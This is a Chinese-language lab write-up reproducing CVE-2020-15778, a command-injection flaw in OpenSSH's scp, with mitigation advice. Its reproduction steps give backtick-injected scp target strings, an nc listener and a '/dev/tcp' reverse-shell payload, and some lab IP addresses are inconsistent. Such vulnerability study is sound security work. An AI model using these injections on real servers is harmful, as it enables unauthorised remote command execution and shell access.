OpenSSH命令注⼊漏洞(CVE-2020-15778)
OpenSSH命令注⼊漏洞复现
1、漏洞描述
OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现,ssh主要就是⽤来远程控制计算机,或传输⽂件,OpenSSH是使⽤SSH透过计算机⽹络加密通讯的实现。
OpenSSH是⽤于使⽤SSH协议进⾏远程登录的⼀个开源实现。通过对交互的流量进⾏加密防⽌窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项⽬的⼀些开发⼈员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。
2020年6⽉9⽇,研究⼈员Chinmay Pandya在Openssh中发现了⼀个漏洞,于7⽉18⽇公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注⼊命令,攻击者可利⽤该漏洞执⾏任意命令。⽬前绝⼤多数linux系统受影响。
2、漏洞概述
该漏洞是存在于scp在拷贝⽂件时产⽣的⼀个代码注⼊漏洞,攻击者可以利⽤此漏洞执⾏任意命令,⽐如:反弹shell
3、影响版本
openssh <= openssh-8.3p1
4、实验环境
centOS 7 IP:192.168.248.130
kali2019.4 IP:192.168.248.133
⾸先下载openssh,版本要符合漏洞影响的版本
服务端:apt-get install openssh-server
客户端:apt-get install openssh-client
5、漏洞复现
1、先看⼀下 openssh 的版本信息 查看下版本:ssh -V
2、⾸先尝试⼀下利⽤scp命令,⽤kali对centOS进⾏写⽂件,复制⽂件。
root@192.168.110.153:'`touch /` /tmp'
注:需要知道 shh 的密码
Linux scp命令⽤于 Linux之间复制⽂件和⽬录
cve漏洞库scp是 secure copy的缩写,scp是inux系统下基于ssh登进⾏安全的远程⽂件拷贝命令。
scp是加密的,rcp是不加密的,scp是rcp的加强版
成功将kali上⾯的⽂件传⼊道centOS上⾯。
3、直接进⾏nc反弹获取shell
先监听⼀个端⼝ nc -lvvp 6666
4、进⾏反弹shell
root@192.168.248.133:'`bash -i >& /dev/tcp/192.168.248.130/6666 0>&1`/'
这⾥需要输⼊ ssh 的密码。
6、漏洞防护
⽅法⼀:使⽤rsync代替scp
⽅法⼆:周期性更换密钥
rsync是可以实现增量备份的⼯具,rsync可以实现scp的远程拷贝(rsync不⽀持远程到远程的拷贝,但scp⽀持)、cp的本地拷贝、rm删除和"ls -l"显⽰⽂件列表等功能。
该漏洞复现简单,漏洞等级 严重。复现需要知道ssh密码,主要针对知道ssh密码却不给登录,这样就可进⾏反弹shell获取权限了。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论